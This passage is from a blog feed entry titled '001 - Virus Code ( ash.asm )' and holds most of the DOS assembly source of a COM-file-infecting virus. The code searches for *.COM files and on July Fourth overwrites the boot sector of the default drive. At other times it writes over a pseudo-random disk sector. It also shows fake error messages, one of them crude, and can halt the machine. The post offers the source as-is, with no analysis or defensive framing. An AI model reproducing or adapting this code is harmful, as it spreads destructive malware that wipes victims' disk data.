153);"&gt;  jmp     Find_First_Next                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;activation:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     di,di              &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     es,di&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,2Ah             &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                   ;Get Date/Time&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;If the virus is run on the Fourth of July, it will trash sector 0 of the&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;;default drive, killing the boot sector.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     dl,4                  ;Is it the Fourth?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jne     Not_Yet               ;No? Jump to Not_Yet&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     dh,7                  ;Is it July?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jne     Not_Yet               ;No? Jump to Not_Yet&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     ax,ax                  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     short trash_disk      ;Trash boot sector &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  nop                           ;on July Fourth.     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Not_Yet:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,2Ch       &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                   ;Get time&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  or      cl,cl                 ;Do minutes = 0? &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jnz     Dont_Kill_HD          ;No? Jump Dont_Kill_HD&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     ch,6                  ;Is it passed 6:00 am?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jge     Dont_Kill_HD          ;Yes? Jump Dont_Kill_HD&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Stupid_Damage_Algorithm:                &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  add     cl,ch                 ;Add minutes and hours&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ax,cx                   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cbw                           ;Change the byte to a word&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  add     al,dh                 ;Add the month&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  adc     al,dl                 ;Add the day, carrying result&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;from the last addition&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  adc     ah,0                  ;Add any carried numbers&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  or      ax,ax                 ;And if it all comes out zero&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jnz     trash_disk            ;set AX=1, Otherwise keep AX.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  inc     ax                    ;Trash disks either way.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;trash_disk:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     dx,ax                 ;Sector #.  This will be more&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;or less random except on July&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;Fourth, when it kills sector 0,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;which contains the boot sector.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cx,1                  ;Number of sectors to trash &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     bx,bx                 ;Address to write from&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,19h                &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                   ;Get default drive&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     26h                   ;And trash sector.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Dont_Kill_HD:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     bx,offset Random_Table&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,2Ch                  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;Get Time&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  inc     dh                      ;Increment Seconds&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      ;(prevent 0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Lower_Sec_Loop:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     dh,byte ptr [Rnd_String_Key]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jl      Random_Alg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  sub     dh,byte ptr [Rnd_String_Key]               &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     short Lower_Sec_Loop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;DH = 01h to 0Ah&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Random_Alg:                            ;Get a random number to choose string.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     al,dh          ;Move random number to AL&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     cl,al          ;And to CL (minutes)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cbw                    ;Make AL into word AX&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;(In this case, zeros AH)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;AX is now between 1 and 45h (69)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  shl     ax,1           ;Multiply by 2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  add     bx,ax          ;Add AX to BX    (Selection address)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     si,[bx]        ;Get byte from address at [BX] into SI&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;  This will contain the address of a&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;           ;            string to print.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ch,[si-1]      ;Get byte from SI-1 into CH &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     dx,si          ;Print chosen string at DX until a '$' &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     ch,0            ;was the byte from [SI-1] a 0?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jne     Halt            ;If not, jump Halt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Terminate_Program:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     20h             ;Kill program&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Halt:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     ch,1              ;Was it a 1?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jne     Choose_What_Ta_Do ;If not, jump to Choose_What_Ta_Do&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  hlt                       ;otherwise, halt processor&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Choose_What_Ta_Do:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     ch,2              ;Was it a 2?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  je      Abort_Retry_Etc   ;If so, jump to Abort_Retry_Etc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Go_To_Host:                               ;Otherwise, run host&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     Restore_Control                  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Abort_Retry_Etc:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+Error_Message_1] ;Display "Abort, Retrt" etc..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;Get Key with Echo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;          &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+Carriage_Ret]    ;print a return&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     dh,cl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     al,5Ah                  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  ja      Harass_Em               ;set letter to lowercase&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  add     al,20h                  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Harass_Em:         &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     al,61h                  ;If (A)bort then jump to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  je      Terminate_Program       ;Terminate_Program&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     al,72h                  ;If (R)etry then go on, &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jne     Harass_Em_More          ;otherwise jump to Harass_Em_More&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+Carriage_Ret]    &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;Print a carriage return&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jmp     short Random_Alg           &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Harass_Em_More:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     al,69h                  ;If user presses (I)gnore&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  je      Go_To_Host              ;jump to Go_To_Host, (F)ail&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  cmp     al,66h                  ;continue, anything else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  jne     Abort_Retry_Etc         ;then jump to Abort_Retry_Etc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  lea     dx,[bp+Error_message_2] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  mov     ah,9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     21h                     ;Display "Fail on INT 24"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  int     20h                     ;Terminate Program&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Rnd_String_Key  db      0Ah&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Random_Table    db      65h, 03h, 8Ah, 03h,0AEh, 03h  ;Used to select string&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  db      0D4h, 03h,0D4h, 03h,0D4h, 03h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  db      0D4h, 03h,0D4h, 03h,0D4h, 03h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  db      0D4h, 03h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Error_Message_1 db      0dh,0a,'Abort, Retry, Ignore, Fail?$'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Carriage_Ret    db      0dh,0a,24&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Error_Message_2 db      0dh,0a,0dh,0a,'Fail on INT 24',0dh,0a,24&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  db       02h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Dumb_Mes_1      db      'Impotence error reading user''s dick$'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  db      0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Dumb_Mes_2      db      'Program too big to fit in memory',0dh,0a,24&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  db       01h&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Dumb_Mes_3      db      'Cannot load COMMAND, system halted',0dh,0a,24&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  db      3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Dumb_Mes_4      db      'Joker!',0dh,0a,0dh,0a,24&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;int_25:                                 ;Int 25 Handler&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  xor     al,al&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;  iret&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;file_mask       db      '*.COM',0                &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;Parent_Dir      db      '..',0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;end_virus:        &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;new_DTA         db      2bh dup (?)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;store_ax        dw      ?      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;infect_count    db      ?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;file_size       dw      ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 153);"&gt;end     start&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222329616442510883-4249742146894934359?l=virus-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://virus-codes.blogspot.com/feeds/4249742146894934359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222329616442510883&amp;postID=4249742146894934359&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/4249742146894934359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/4249742146894934359'/><link rel='alternate' type='text/html' href='http://virus-codes.blogspot.com/2007/03/001-virus-code-ashasm.html' title='001 - Virus Code ( ash.asm )'/><author><name>Ashish Jain</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-IMdPHu-0lX8/AAAAAAAAAAI/AAAAAAAAESw/1ITqXGACgj4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry></feed>
